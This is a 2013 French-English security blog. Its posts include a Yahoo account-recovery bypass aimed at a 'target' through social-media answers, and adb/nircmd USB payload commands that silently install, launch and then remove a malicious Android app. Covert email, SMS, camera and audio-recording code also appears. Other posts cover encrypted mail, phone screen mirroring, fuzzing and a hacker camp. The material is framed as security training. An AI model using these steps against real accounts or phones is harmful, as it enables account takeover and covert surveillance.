lundi 11 novembre 2013

Limits of Yahoo security

For the first time (and may be not the last one if you request it dear readers!) I will write this post in English.
Why? Well, the reason is that I have seen many questions related to Yahoo security in forums and I think this post may answer some of the current questions.

What is the story?

Every year I am used to demonstrate how to access to a Yahoo mail account using the well known Sarah Palin vulnerability for the security training I am in charge of. In other words my objective is to access to a Yahoo account using the answers to security questions found on social networks. And every year I see how Yahoo improves their security. Their last security update was to take into account your request to access to the account, but only 24 hours after your request. As my security training last 2 days, I was still able to demonstrate it.

But when I tried to do it this year (2013), I cannot access to security questions to reset my password. I had access only to my backup email. Arrgh!

After some tests I found a way to use my security questions again. How I did it? Here is the trick.
The idea is to lock your account. To do that you try to reset several times your password (you have to click on the link “I have forgotten my password” on the Yahoo login page). After several attempts (understand after several mails sent to your backup email account) then your account is locked and…and you will be able to reset it after 24 hours using your security questions again. Based on my experience we have to try to reset the password 4 times before locking the account.

We did it!

Here are some snapshots of the process.


The account is locked and we have to come back in 24 hours.


24 hours later,  again, we have to try to reset the password 4 times before being able to use the security questions. Below, we correctly answered the first security question and we have to answer the second one.


The second answer was correct and we can set the new password. Then we have access to the email account.

This approach is useful in at least 2 use-cases:
You have lost the access to your backup email and you cannot use it to reset your password
You want to access to the email account of your target (as usual here is a reminder: you are not allowed to do that and you can be prosecuted)

Note: if you create a new Yahoo email account now, you will not have the possibility to set security questions. This option seems to have been removed from Yahoo policy.

Note: This test was done in October 2013. Keep in mind that Yahoo is used to update the security behavior. So you may have to adapt this scenario!

dimanche 10 novembre 2013

Envoyez des mails avec votre téléphone en toute sécurité !

Il y a quelques mois je vous présentais dans l’article Signer et encrypter un document sur un téléphone une solution permettant de signer et encrypter un mail. Cette solution était plus une preuve de concept qu’un vrai produit.
Cette fois la solution que je vous présente est un vrai produit, et ce produit peut être utilisé gratuitement dans le cadre d’une démonstration. C’est la solution « Regimail » de la société « Regify »

« Regimail » permet d’encrypter aisément les mails entre utilisateurs sans la contrainte du déploiement et de la maintenance d’une infrastructure à clefs publiques (PKI). C’est sa force !

Du point de vue de l’utilisateur l’expérience est la suivante : vous devez tout d’abord créer un compte « Regimail » sur le portail de démonstration de « Regify » : https://portal.regify.com


Vous recevez un mail contenant un lien d’activation sur lequel vous allez saisir le code d’activation qui vous est envoyé par SMS dans notre cas. Un mot de passe est généré automatiquement.


Une fois le compte créé, vous pouvez télécharger l’application mobile « Regimail » dans l’environnement de votre choix. Dans notre cas nous choisissons d’utiliser un téléphone « Android ».


Après avoir configuré votre application « mobile » en saisissant votre nom d’utilisateur et votre mot de passe vous pouvez envoyer un mail


Lors de l’envoi du mail, l’application « Regimail » propose de choisir le client mail à utiliser (si plusieurs clients sont installés sur votre téléphone) pour l’envoi de ce mail. Dans notre cas nous choisissons « Gmail » associé à l’adresse philippe.biton@gmail.com


L’email est affiché avant l’envoi.



Un mail de notification est ensuite envoyé automatiquement à l’émetteur pour confirmer l’envoi du message. Lorsque le message sera lu par le destinataire alors l’émetteur recevra également une notification de lecture.


La procédure que Basile Drancers doit suivre pour pouvoir lire le contenu du mail est parfaitement décrite dans le mail envoyé. Le processus est très facile à utiliser.

 

Si Basile Drancers utilises Microsoft Outlook, qu’il dispose d’un compte « Regimail » et qu’il a déjà installé le plug-in « Outlook » alors il n’a plus qu’à double-cliquer sur le fichier « .rgf » pour lancer l’application « Regimail » et visualiser le contenu du mail.



Voici une vue des paramètres de votre client mail « Android ». On peut noter que dans notre cas le fournisseur de services est « Regify » et qu’il existe de nombreux autres fournisseurs proposant leurs propres spécificités.


Du point de vue de l’expert en sécurité, voici l’argumentaire de «Regify» :
L’architecture de la solution « Regimail » est à 2 niveaux distincts et indépendants: le fournisseur de service de clearing et le fournisseur de la solution « Regimail ».
Le chiffrement du message est fait avec AES 256
Les échanges entre les clients et les fournisseurs sont basés sur RSA (1024 bits) et SSL
Les échanges entre les fournisseurs sont basés sur un VPN privé
Ni le fournisseur du service de clearing, ni le fournisseur de la solution « Regimail » ne sont à aucun moment en possession de l’email
Le fournisseur de la solution « Regimail » ne peut accèder ni au « hash » du fichier « .rgf », ni à la clef symétrique AES 256. Il n’a donc pas accès au contenu du message
Le fournisseur du service de clearing remplit le rôle de gardien des clefs et des « hashs ». Ce service n’a aucune connaissance ni des utilisateurs, ni des contenus
En résumé, d’un côté, le fournisseur du service de clearing ne connaît ni l’expéditeur d’un mail, ni le destinataire et il n’a jamais accès à son contenu. D’un autre côté, le fournisseur de la solution « Regimail » n’a pas accès à la clef qui a servie à chiffrer le message.

Bien entendu, pour des raisons légales, un tiers autorisé à intercepter légalement une communication «Regify» doit être en possession du message respectif. Assisté par le fournisseur concerné, ce tiers peut accéder aux infirmations telles que le message pour lequel le fournisseur du service de clearing fournira la clef de déchiffrement respective après une demande spéciale et exceptionnelle.

A première vue il semblerait qu'un point pouvant être améliorer dans cette solution soit la phase d’authentification. Mais je comprends que « Regify » laisse le soin à ses fournisseurs de gérer l’authentification. Il est donc nécessaire, davantage pour une entreprise que pour un particulier, de bien choisir son fournisseur « Regify » avec le bon nombre de facteurs d’authentification.

samedi 9 novembre 2013

Utilisez votre téléphone à partir de votre ordinateur !

Devant votre intérêt pour l’article Afficher l’écran de votre téléphone sur votre ordinateur qui date d’Octobre 2012, je dois vous informer que visualiser l’écran de votre téléphone Android sur votre ordinateur est devenu un jeu d’enfants.
Souvenez-vous, avec Droid@Screen un certain nombre de pré-requis étaient nécessaires. Avec MyMobiler tout devient simple.

Voici les étapes à suivre :
1. Comme toujours vous devez autoriser l’option « USB Debugging » sur votre téléphone (confer article précédent). MyMobiler vous permet également d’utiliser une connexion Wifi entre votre ordinateur et votre téléphone 
2. Et comme toujours vous devez installer un pilote USB pour votre téléphone (confer Afficher l’écran de votre téléphone sur votre ordinateur)
3. Télécharger et installer MyMobiler http://mymobiler.com/ sur votre ordinateur
4. Lancer MyMobiler


Vous voyez apparaître une petite icône en forme de téléphone.

5. Connecter votre téléphone avec votre câble USB
6. Au travers de MyMobiler vous pouvez installer l’application Android nécessaire au bon fonctionnement de MyMobiler directement sur votre téléphone



7. Réaliser la connexion entre MyMobiler à l’application installée sur votre téléphone



8. Puis vous pouvez visualiser votre téléphone sur votre ordinateur


Et, cerise sur le gâteau, vous pouvez jouer avec votre téléphone directement avec votre souris. Vous pouvez par exemple fermer la fenêtre de MyMobiler sur votre téléphone en cliquant sur « Close ». Tout simplement génial !


9. Au travers de MyMobiler vous pouvez également désinstaller l’application Android après usage


Vous trouverez plus de détails sur les options de configuration de MyMobiler sur l’ordinateur http://mymobiler.com/android-setup-start.html#desktopsetup et sur votre téléphone Android http://mymobiler.com/android-setup-start.html#androidsetup 

PS : Merci à Didier qui devrait se reconnaître !

dimanche 29 septembre 2013

Un trou de sécurité dans Android...c’est à voir!

Vous avez tous entendu parlé de la possibilité d'installer une application Android malveillante (bug 8219321 et bug 9695860) en la signant avec une application bien officielle.

Pour plus de détails voir le blog de Jay Freeman (@saurik)

On trouve également sur le github de Fuzion24 quelques "apk" (comprendre applications Android) modifiés qui permettent d'installer une application malveillante signée en utilisant ces bugs.

Essayons les!

On copie d'abord l'"apk" sur notre téléphone puis on installe l'application.

droid@screen-2

On obtient alors un magnifique message en provenance du Google Play Store nous informant que cette application est malveillante car elle exploite un bug connu, et que l'installer c'est prendre un très gros risque!

droid@screen-3

Continuons tout de même!

On obtient alors un message nous informant que notre paramétrage interdit l'installation des applications en dehors du Google Play Store.

droid@screen-4

Conseil: vérifier le paramétrage de votre téléphone permettant d’interdire l’installation d’applications en dehors du Google Play Store

droid@screen-5

Quant on sait que Google affirme qu'il n'y a aucune application compromise dans le Google Play Store, le risque semble faible

Déception! Ou pas!

Maintenant toutes ces manipulations m'ont donné une idée!

Pré-requis: Imaginons que le paramètre "USB Debugging" que l'on peut trouver dans "Settings / Developer Options" soit activé. Vous avez par exemple eu besoin d'afficher l'écran de votre téléphone sur votre ordinateur (pour plus d'informations voir "Afficher l’écran de votre téléphone sur votre ordinateur") et vous n'avez pas désactivé l'option.

Dans ce cas, l'attaquant peut installer son environnement Android sur sa clef USB et lancer l'installation de l'"apk" à partir de sa clef. A condition bien sûr que la cible ait son téléphone connecté en USB sur son PC (pour recharger son téléphone ou bien transfèrer des données comme des photos par exemple). Alors si l'attaquant réussi à connecter sa clef USB sur le PC de la cible et à executer son programme, c'est gagné.

En effet si je lance la commande:

> adb install -r SecurityDemo.apk

alors l'installation réussie.

Une autre approche consiste à inciter votre cible à connecter son téléphone sur votre PC.

Référez vous au blog "La clef USB: le maillon faible ?" qui décrit quelques techniques permettant d'automatiser l'exécution de commande à partir d'une clef USB.
La charge utile pour installer et lancer l'application malveillante pourrait alors ressembler à:

> nircmd.exe execmd /Android/SDK/platform-tools/adb install -r /Android/Projects/SecurityDemo/bin/SecurityDemo.apk
> nircmd.exe execmd /Android/SDK/platform-tools/adb shell am start -n com.proxia.securitydemo/com.proxia.securitydemo.SecurityDemo

Il est aussi possible pour faire disparaître les traces de notre passage d'arrêter l'application et de la désinstaller avec les commandes suivantes:

> adb shell am force-stop com.proxia.securitydemo
> adb uninstall com.proxia.securitydemo

Et ca marche!

dimanche 22 septembre 2013

Le fuzzing appliqué à la validation des applications

A OHM 2013 (voir l'article "Mon OHM à moi…") en sortant de la présentation de @agarri_fr aka Nicolas Grégoire (excellente présentation par ailleurs appelé “Low-cost vulnerability research: XSLT fuzzing as a case study”), je me suis accordé un instant de réflexion, assis dans l’herbe, en sirottant un Club-Maté, boisson de tout OHMien qui se respecte, et là j’ai pris une décision, j’allais enfin passer de la théorie du fuzzing à la pratique.
club-mate

Qu'est ce que le fuzzing? (source: Wikipedia)

Le fuzzing est une technique pour tester des logiciels. L'idée est d'injecter des données aléatoires dans les entrées d'un programme. Si le programme échoue (par exemple en plantant ou en générant une erreur), alors il y a des défauts à corriger.
Le grand avantage du fuzzing est que l'écriture de tests est extrêmement simple, ne demande aucune connaissance du fonctionnement du système et permet de trouver des vulnérabilités facilement. D'ailleurs, le fuzzing est également utilisé pour traquer des failles de sécurité .
Cependant la principale limitation du fuzzing est sa grande consommation de ressources mémoire, disque dur, CPU.


Quels sont les outils dont nous disposons?

Il existe une multitude de fuzzers dans différents languages, plus ou moins faciles à utiliser (comme Sulley par exemple).
Si on se focalise sur les outils les plus simples, on peut lister les outils proposés par le CERT de Carnegie Mellon:


BFF
Le CERT Basic Fuzzing Framework (BFF) est un outil logiciel de test permettant de trouver des défauts dans les applications fonctionnant sous Linux et Mac OS X. BFF effectue des mutations sur les données en entrée du logiciel à tester. Une mutation consiste à prendre une donnée bien formattée et à la corrompre de différentes façons à la recherche de la mutation qui générera un crash.

FOE
The CERT Failure Observation Engine (FOE) est un outil logiciel de test permettant de trouver des défauts dans les applications fonctionnant sous Windows. FOE effectue également des mutations sur les données en entrée du logiciel à tester


Que fait @agarri_fr avec le fuzzing?

@agarri_fr (http://www.agarri.fr/) est un chercheur en vulnérabilités à ses heures. Ses recherches se focalisent actuellement sur les parsers autour de XML et de XSLT. Il utilise principalement le fuzzer Radamsa (http://code.google.com/p/ouspg/wiki/Radamsa). Sur cette base @agarri_fr a découvert de nombreuses vulnérabilités dont:


Pour information il existe une extension Radamsa pour Burp Suite.
Si vous souhaitez quelques informations sur XML et XSLT vous pouvez jeter un oeil à l’article Les transformations “XSLT” fournissent toujours de précieux services!


Et comment le fuzzing est-il utilisé dans une phase de validation?

Le chercheur en sécurité informatique Charlie Miller a refusé en 2010 de dévoiler les vulnérabilités "0-day" trouvées dans le code de logiciels célèbres (contrairement au règlement du concours de sécurité informatique Pwn2Own), afin de protester contre les éditeurs qui n'utilisent pas assez cette technique simple selon lui.

Tout est dit! Le fuzzing devrait faire partie intégrante de toutes les phases de validation.


Et moi je fais quoi avec tout ca?

Tout d'abord je m'amuse.

Et à titre d'exercice, j'ai installé FOE dans un environnement Windows avec pour objectif de trouver des vulnérabilités chez quelques éditeurs! Bon ca parait simple sur le papier mais ca l'est beaucoup moins dans la réalité (mais je ne suis pas à l'abri de trouver quelque chose)


A vous de jouer! Et peut-être allez vous découvrir un "0-day" !

samedi 21 septembre 2013

Mon OHM à moi...

P1030401

Hier il a plu à Amsterdam ! Ce matin le soleil semble être au rendez-vous.

J’arrive à Central Station. Je cherche le quai, direction Alkmaar. Surtout ne pas se tromper de train ! Je ne souhaite pas rater la cérémonie d’ouverture.
Le quai semble vide. Je suis en avance. Quelques hommes et femmes me rejoignent. Peut être y’en a-t-il parmi eux qui vont à OHM ! J’observe, je scrute, à la recherche d’indices ! Sur une veste, un badge,  je lis difficilement « Free… ». Je me rapproche : « Free Softwares ». Si on ajoute à ça, un sac à dos et une tente, la probabilité est suffisante pour que j’entame la conversation.
« Excuse me! Are you going to OHM ? »

«Yes! » dit-elle
Son accent anglais ressemble terriblement au mien. Serait-elle française ?
«Vous êtes française ?»
« Oui » répond-elle
La journée commence bien.
Le trajet semble être très court. Nous arrivons à destination, Heerhugowaard. De la gare, le chemin est soigneusement fléché jusqu’ à la navette qui doit nous emmener au Walhalla.

P1030402

Un détail m’inquiète cependant. Notre aimable chauffeur porte des bottes. Le Walhalla serait-il dans la boue ?

La voiture sort de la ville. Chaque instant qui passe semble nous éloigner un peu plus de la civilisation. Sensation de téléportation dans un univers parallèle !

Au loin nous apercevons quelques tentes. Nous sommes arrivés.

Première étape, contrôle des billets et remise du bracelet. Ça y est ! Après 6 mois d’attente nous voilà dans l’arène !

Finalement la pluie n’a pas fait de dégâts. Le terrain est pratiquable. Jusqu’ici tout va bien !

P1030403

Deuxième étape, retrouver Bertrand (*).

Bertrand présente ses travaux de recherche dans l’après-midi. Il est ici avec sa femme et ses enfants. Son SMS matinal m’indiquait que je pourrais le retrouver dans le « Family Village » à l’opposé du « Noisy Square » ! Choix stratégique !

Le « Family Village » est bien rempli. Quelques enfants sont déjà à la garderie. Ils semblent être très concentrés devant leurs ordinateurs ! Eh oui, la garderie d’OHM n’est pas une garderie comme les autres : les enfants de « hacker » doivent avoir des activités de « hacker ».

J’aperçois Bertrand au loin. Après avoir partagé un Club-Maté, la boisson locale, Bertrand me fait découvrir les lieux. Cet endroit est vraiment surprenant, c’est une véritable ville au milieu de nulle part!

P1030405

Après une petite visite de sa tente tout confort, Bertrand part à la recherche d’un peu de tranquillité pour finir de préparer sa présentation.


P1030407

Bon, à moi de jouer ! Je vais pouvoir assister à quelques conférences. Mais lesquelles choisir, il y en a au moins 4 officielles en parallèle, sans compter les présentations improvisées dans les villages comme celui de la « French Embassy ». Le dilemme ! Je décide de faire confiance au hasard, ce n’est pas très scientifique tout ça mais ne l’oublions pas, je suis en vacances!

En traversant un des nombreux ponts d’OHM, j’aperçois sur l’eau un crocodile gonflable sur le dos ! Mort peut être ! Tout est réellement sous-contrôle ! Les enfants peuvent être rassurés.

P1030408

J’erre de tente en tente, de conférence en conférence, récupérant un autocollant par ci, prenant une photo par là, m’arrêtant souvent pour découvrir des domaines plus surprenant les uns que les autres, du «lockpicking» au journalisme en Syrie en passant par les «whistleblowers» (lanceurs d’alertes)! Je m’imprègne de l’ambiance, je veux tout voir et tout sentir, je veux garder ce souvenir intact pour mon retour en France.

P1030410
P1030411

La nuit tombe, salué par l’arrivée d’un soldat de l’empire galactique pour le plaisir des petits et des grands. Les journalistes se précipitent pour l’interviewer. Décalé !

P1030412

J’oublie tout, je voudrais rester pour toujours ici, devenir un habitant d’Ohm-Ville !  Un sursaut de lucidité me ramène brutalement à la réalité, Amsterdam, le train, la navette, quelle heure est-il ?
C’est la fin ! Je m’arrache de ce lieu envoûtant ! J’attends la navette. Prés de moi, deux personnes parlent. Je tends l’oreille:
« What is this conference about ? » dit la personne en charge de la sécurité de l’entrée du camp
« It is about hacking! But you will find free-thinkers, philosophers, activists, geeks, scientists, artists and a whole bunch of people interested in lots of interesting stuff!” répond un organisateur
It sounds good! I may find interesting stuff there, you know! I always like to learn new things!” admet le garde
Tout est dit!

(*) pour des raisons d'anonymat le prénom a été modifié.

vendredi 30 août 2013

Sécurité des applications Android

Depuis Hack In Paris 2012 et la présentation de Georgia Weidman (@georgiaweidman) sur la sécurité Android, j'ai envie moi aussi de développer ma propre application.

Eh bien c'est fait!

Mon objectif est double:
  • Vérifier la force des contre-mesures que j'ai appliqué sur mon téléphone (le terme de contre-mesures est un peu fort)
  • Avoir une idée de ce qu'il est possible de faire

Pour répondre au premier point il est tout d'abord nécessaire de vous présenter l'application "Data Defender" développé par la société Authentec.

Cette application permet de protéger l'accès à vos applications critiques (gérant des données privées) comme le mail, l'envoi de SMS, l'accès à votre système de fichiers ou la prise de photo.

droid@screen-6
Vous choisissez quelles sont les applications que vous souhaitez protéger et lorsque que vous souhaitez y accéder vous devez saisir soit un code PIN ou un pattern.

droid@screen-7

C'est bien pratique!

Mais que se passe t'il si l'appel à votre application protégée est fait à partir d'une autre application malveillante!

Pour vérifier le comportement de “Data Defender” j'ai développé une application qui essaie d'envoyer un mail à partir des clients mail présents sur le téléphone. Data Defender est alors appelé et me demande de saisir mon pattern pour accéder au client mail.

On s'en doutait un peu!

Mais, malgré tout, est-il possible d'envoyer un mail à l'insu de l'utilisateur, d'envoyer un SMS sans laisser de trace dans l'historique, d'accéder au système de fichiers, de prendre une photo ou bien d'enregistrer une conversion?

La réponse à toutes ces questions est "oui".

Bien entendu l'application doit avoir les droits d'accès nécessaires pour effectuer toutes ces opérations. Et vous avez remarqué que lorsque vous installez une application la liste des droits d'accès requis par l'application vous est présenté afin de vous prévenir d'une éventuelle menace. Mais qui parmi nous à refusé d'installer une application car elle était un peu trop gourmande en droits d'accès! Pas moi!

A titre d'exemple voici un sous-ensembles des droits d'accès de l'application Facebook.

droid@screen-1

Ca fait peur non?

Dans ce qui suit je vous propose de jeter un oeil au code permettant de réaliser toutes ces opérations. Le code se lit facilement c'est pourquoi je me contente de vous le donner tel quel. Seul la partie de code décrivant la fonction est donnée.

Envoi d'un mail (source: Jon Simon)

Pour réaliser l'envoi d'un mail il est nécessaire de créer un compte Gmail (ne servant qu'à l'envoi du mail) et de renseigner les paramètres correspondants dans le code.

   1: public void sendGMail() {

   2:             Thread thread = new Thread(new Runnable(){

   3:             @Override

   4:             public void run() {

   5:                 try {

   6:                     //Your code goes here

   7:                     Mail m = new Mail("yourfakeaccount@gmail.com", "yourpassword");        

   8:                     String[] toArr = {emailAddress.getText().toString()};       

   9:                     m.setTo(toArr);       

  10:                     m.setFrom("yourfakeaccount@gmail.com");       

  11:                     m.setSubject("Security Demo");       

  12:                     m.setBody(emailText.getText().toString());        

  13:                     m.addAttachment(Environment.getExternalStorageDirectory().getPath() + "/securitydemo.txt");          

  14:                     if(m.send()) {           

  15:                         Toast.makeText(SendEmailDemo.this, "Email was sent successfully.", Toast.LENGTH_LONG).show();         

  16:                     } else {           

  17:                         Toast.makeText(SendEmailDemo.this, "Email was not sent.", Toast.LENGTH_LONG).show();         

  18:                     }       

  19:                 } catch(Exception e) {         

  20:                     Log.e("MailApp", "Could not send email", e);       

  21:                 }    

  22:             }

  23:         });

  24:         thread.start(); 

  25: }

Envoi d'un SMS (source: Gupta.Avinash)




   1: public void sendLongSMS() {         

   2:  

   3:     SmsManager smsManager = SmsManager.getDefault();

   4:     ArrayList<String> parts = smsManager.divideMessage(messageText.getText().toString()); 

   5:     smsManager.sendMultipartTextMessage(phoneNumber.getText().toString(), null, parts, null, null);

   6:     

   7:     Toast.makeText(getApplicationContext(), "Message Sent!", Toast.LENGTH_LONG).show();

   8: }


Accès au système de fichiers (source: Stackoverflow)




   1: public void writeFile() {

   2:     try {

   3:         File sdCard = Environment.getExternalStorageDirectory();

   4:         File dir = new File (sdCard.getAbsolutePath());

   5:         File file= new File(dir, fileName.getText().toString());

   6:         System.out.println(file.getAbsolutePath());

   7:  

   8:         FileOutputStream fOut = new FileOutputStream(file);

   9:  

  10:         OutputStreamWriter myOutWriter = new OutputStreamWriter(fOut);

  11:         myOutWriter.append(fileContent.getText());

  12:         myOutWriter.close();

  13:         fOut.close();  

  14:         Toast.makeText(getApplicationContext(), "File saved!", Toast.LENGTH_LONG).show();

  15:     } catch (IOException e) {

  16:           Toast.makeText(getApplicationContext(), "Failed to write file", Toast.LENGTH_LONG).show();

  17:     }

  18: }


Prise d'une photo (source: Marko Gargenta)

L'intégralité du fichier "java" est fourni pour ceux qui ne sont pas familiers avec l'utilisation des librairies "Graphique".



   1: package com.proxia.securitydemo;

   2:  

   3: import java.io.FileNotFoundException;

   4: import java.io.FileOutputStream;

   5: import java.io.IOException;

   6: import android.content.Context;

   7: import android.graphics.Canvas;

   8: import android.graphics.Color;

   9: import android.graphics.Paint;

  10: import android.hardware.Camera;

  11: import android.hardware.Camera.PreviewCallback;

  12: import android.util.Log;

  13: import android.view.SurfaceHolder;

  14: import android.view.SurfaceView;

  15:  

  16: class Preview extends SurfaceView implements SurfaceHolder.Callback {    

  17:     private static final String TAG = "Preview";    

  18:     

  19:     SurfaceHolder mHolder;    

  20:     public Camera camera;    

  21:     

  22:     Preview(Context context) {        

  23:         super(context);        

  24:         mHolder = getHolder();        

  25:         mHolder.addCallback(this);        

  26:         mHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);    

  27:     }    

  28:     

  29:     public void surfaceCreated(SurfaceHolder holder) {        

  30:         camera = Camera.open();        

  31:         try {            

  32:             camera.setPreviewDisplay(holder);            

  33:             camera.setPreviewCallback(new PreviewCallback() {                

  34:                 

  35:                 public void onPreviewFrame(byte[] data, Camera arg1) {                    

  36:                     FileOutputStream outStream = null;                    

  37:                     Preview.this.invalidate();                

  38:                 }            

  39:             });        

  40:         } catch (IOException e) {            

  41:             e.printStackTrace();        

  42:         }    

  43:     }    

  44:     

  45:     public void surfaceDestroyed(SurfaceHolder holder) {        

  46:         camera.stopPreview();        

  47:         camera = null;    

  48:     }    

  49:     

  50:     public void surfaceChanged(SurfaceHolder holder, int format, int w, int h) {        

  51:         Camera.Parameters parameters = camera.getParameters();        

  52:         parameters.setPreviewSize(w, h);        

  53:         camera.setParameters(parameters);        

  54:         camera.startPreview();    

  55:     }    

  56:     

  57:     @Override    

  58:     public void draw(Canvas canvas) {        

  59:         super.draw(canvas);        

  60:         Paint p = new Paint(Color.RED);        

  61:         Log.d(TAG, "draw");        

  62:         canvas.drawText("PREVIEW", canvas.getWidth() / 2,                

  63:                 canvas.getHeight() / 2, p);    

  64:     }

  65: }

  66:  

Enregistrement d'une conversation (source: Developer Android)

L'intégralité des fichiers "java" est fourni pour ceux qui ne sont pas familiers avec l'utilisation des librairies "Media".



   1: package com.proxia.securitydemo;

   2:  

   3: import android.app.Activity; 

   4: import android.widget.LinearLayout; 

   5: import android.os.Bundle; 

   6: import android.os.Environment; 

   7: import android.view.Menu;

   8: import android.view.MenuInflater;

   9: import android.view.MenuItem;

  10: import android.view.ViewGroup; 

  11: import android.widget.Button; 

  12: import android.view.View; 

  13: import android.view.View.OnClickListener; 

  14: import android.content.Context; 

  15: import android.content.Intent;

  16: import android.util.Log; 

  17: import android.media.MediaRecorder; 

  18: import android.media.MediaPlayer;  

  19: import java.io.IOException;   

  20:  

  21: public class AudioRecordTest extends Activity {     

  22:     private static final String LOG_TAG = "AudioRecordTest";     

  23:     private static String mFileName = null;      

  24:     private RecordButton mRecordButton = null;     

  25:     private MediaRecorder mRecorder = null;      

  26:     private PlayButton   mPlayButton = null;     

  27:     private MediaPlayer   mPlayer = null;    

  28:     

  29:     private void onRecord(boolean start) {         

  30:         if (start) {             

  31:             startRecording();         

  32:         } else {             

  33:             stopRecording();         

  34:         }     

  35:     }      

  36:     

  37:     private void onPlay(boolean start) {         

  38:         if (start) {             

  39:             startPlaying();         

  40:         } else {             

  41:             stopPlaying();         

  42:         }     

  43:     }      

  44:     

  45:     private void startPlaying() {         

  46:         mPlayer = new MediaPlayer();         

  47:         try {             

  48:             mPlayer.setDataSource(mFileName);             

  49:             mPlayer.prepare();             

  50:             mPlayer.start();         

  51:         } catch (IOException e) {             

  52:             Log.e(LOG_TAG, "prepare() failed");         

  53:         }     

  54:     }      

  55:     

  56:     private void stopPlaying() {         

  57:         mPlayer.release();         

  58:         mPlayer = null;     

  59:     }      

  60:     

  61:     private void startRecording() {         

  62:         mRecorder = new MediaRecorder();         

  63:         mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);         

  64:         mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);         

  65:         mRecorder.setOutputFile(mFileName);         

  66:         mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);          

  67:         try {             

  68:             mRecorder.prepare();         

  69:         } catch (IOException e) {             

  70:             Log.e(LOG_TAG, "prepare() failed");         

  71:         }          

  72:         mRecorder.start();     

  73:     }      

  74:     

  75:     private void stopRecording() {        

  76:         mRecorder.stop();         

  77:         mRecorder.release();         

  78:         mRecorder = null;     

  79:     }      

  80:     

  81:     class RecordButton extends Button {         

  82:         boolean mStartRecording = true;          

  83:         OnClickListener clicker = new OnClickListener() {             

  84:             public void onClick(View v) {                 

  85:                 onRecord(mStartRecording);                 

  86:                 if (mStartRecording) {                     

  87:                     setText("Stop recording");                

  88:                 } else {                     

  89:                     setText("Start recording");                 

  90:                 }                 

  91:                 mStartRecording = !mStartRecording;             

  92:             }         

  93:         };          

  94:         

  95:         public RecordButton(Context ctx) {             

  96:             super(ctx);             

  97:             setText("Start recording");             

  98:             setOnClickListener(clicker);         

  99:         }     

 100:     }      

 101:     

 102:     class PlayButton extends Button {         

 103:         boolean mStartPlaying = true;          

 104:         OnClickListener clicker = new OnClickListener() {             

 105:             public void onClick(View v) {                 

 106:                 onPlay(mStartPlaying);                 

 107:                 if (mStartPlaying) {                     

 108:                     setText("Stop playing");                 

 109:                 } else {                     

 110:                     setText("Start playing");                

 111:                 }                 

 112:                 mStartPlaying = !mStartPlaying;             

 113:             }         

 114:         };          

 115:         

 116:         public PlayButton(Context ctx) {             

 117:             super(ctx);             

 118:             setText("Start playing");             

 119:             setOnClickListener(clicker);         

 120:         }     

 121:     }      

 122:     

 123:     public AudioRecordTest() {         

 124:         mFileName = Environment.getExternalStorageDirectory().getAbsolutePath();         

 125:         mFileName += "/audiorecordtest.3gp";     

 126:     }     

 127:     

 128:     @Override     

 129:     public void onCreate(Bundle icicle) {         

 130:         super.onCreate(icicle);          

 131:         LinearLayout ll = new LinearLayout(this);         

 132:         mRecordButton = new RecordButton(this);         

 133:         ll.addView(mRecordButton,             

 134:                 new LinearLayout.LayoutParams(                 

 135:                         ViewGroup.LayoutParams.WRAP_CONTENT,                 

 136:                         ViewGroup.LayoutParams.WRAP_CONTENT,                

 137:                         0));         

 138:         mPlayButton = new PlayButton(this);         

 139:         ll.addView(mPlayButton,             

 140:                 new LinearLayout.LayoutParams(                 

 141:                         ViewGroup.LayoutParams.WRAP_CONTENT,                 

 142:                         ViewGroup.LayoutParams.WRAP_CONTENT,                 

 143:                         0));        

 144:         setContentView(ll);     

 145:     } 

 146:     

 147:     @Override     

 148:     public void onPause() {         

 149:         super.onPause();         

 150:         if (mRecorder != null) {             

 151:             mRecorder.release();             

 152:             mRecorder = null;         

 153:         }          

 154:         if (mPlayer != null) {             

 155:             mPlayer.release();             

 156:             mPlayer = null;         

 157:         }     

 158:     } 

 159:  

 160:     public boolean onPrepareOptionsMenu(Menu menu) 

 161:     {

 162:         super.onPrepareOptionsMenu(menu);

 163:         

 164:         return true;

 165:     }

 166:  

 167:     // ------------------------------------------------------

 168:     // ------------------------------------------------------

 169:     @Override

 170:     public boolean onCreateOptionsMenu(Menu menu) 

 171:     {

 172:         super.onCreateOptionsMenu(menu);

 173:         

 174:         try

 175:         {

 176:             MenuInflater inflater = getMenuInflater();

 177:     

 178:             inflater.inflate(R.menu.securitydemo, menu);

 179:     

 180:             inflater = null;

 181:         }

 182:         catch (Exception e)

 183:         {

 184:         }

 185:  

 186:         return true;

 187:     }

 188:  

 189:     // ------------------------------------------------------

 190:     // ------------------------------------------------------

 191:     @Override

 192:     public boolean onOptionsItemSelected(MenuItem item) 

 193:     {

 194:         switch (item.getItemId()) 

 195:         {

 196:             case R.id.menu_mail: 

 197:             {

 198:                 Intent intent = new Intent(this, SendEmailDemo.class);

 199:                 this.startActivity(intent);

 200:                 finish();

 201:                 return true;

 202:             }

 203:     

 204:             case R.id.menu_sd: 

 205:             {

 206:                 Intent intent = new Intent(this, WriteSDDemo.class);

 207:                 this.startActivity(intent);

 208:                 finish();

 209:                 return true;

 210:             }

 211:     

 212:             case R.id.menu_sms: 

 213:             {

 214:                 Intent intent = new Intent(this, SecurityDemo.class);

 215:                 this.startActivity(intent);

 216:                 finish();

 217:                 return true;

 218:             }

 219:  

 220:             case R.id.menu_picture: 

 221:             {

 222:                 Intent intent = new Intent(this, CameraDemo.class);

 223:                 this.startActivity(intent);

 224:                 finish();

 225:                 return true;

 226:             }

 227:  

 228:             case R.id.menu_audio: 

 229:             {

 230:                 return true;

 231:             }

 232:         }

 233:         

 234:         return false;

 235:     }

 236:  

 237:  

 238: }




   1: package com.proxia.securitydemo;

   2:  

   3: import java.io.FileNotFoundException;

   4: import java.io.FileOutputStream;

   5: import java.io.IOException;

   6: import java.util.ArrayList;

   7:  

   8: import android.app.Activity;

   9: import android.content.Intent;

  10: import android.hardware.Camera;

  11: import android.hardware.Camera.PictureCallback;

  12: import android.hardware.Camera.ShutterCallback;

  13: import android.os.Bundle;import android.os.Environment;

  14: import android.telephony.SmsManager;

  15: import android.util.Log;

  16: import android.view.Menu;

  17: import android.view.MenuInflater;

  18: import android.view.MenuItem;

  19: import android.view.View;

  20: import android.view.View.OnClickListener;

  21: import android.widget.Button;

  22: import android.widget.FrameLayout;

  23: import android.widget.Toast;

  24:  

  25: public class CameraDemo extends Activity {    

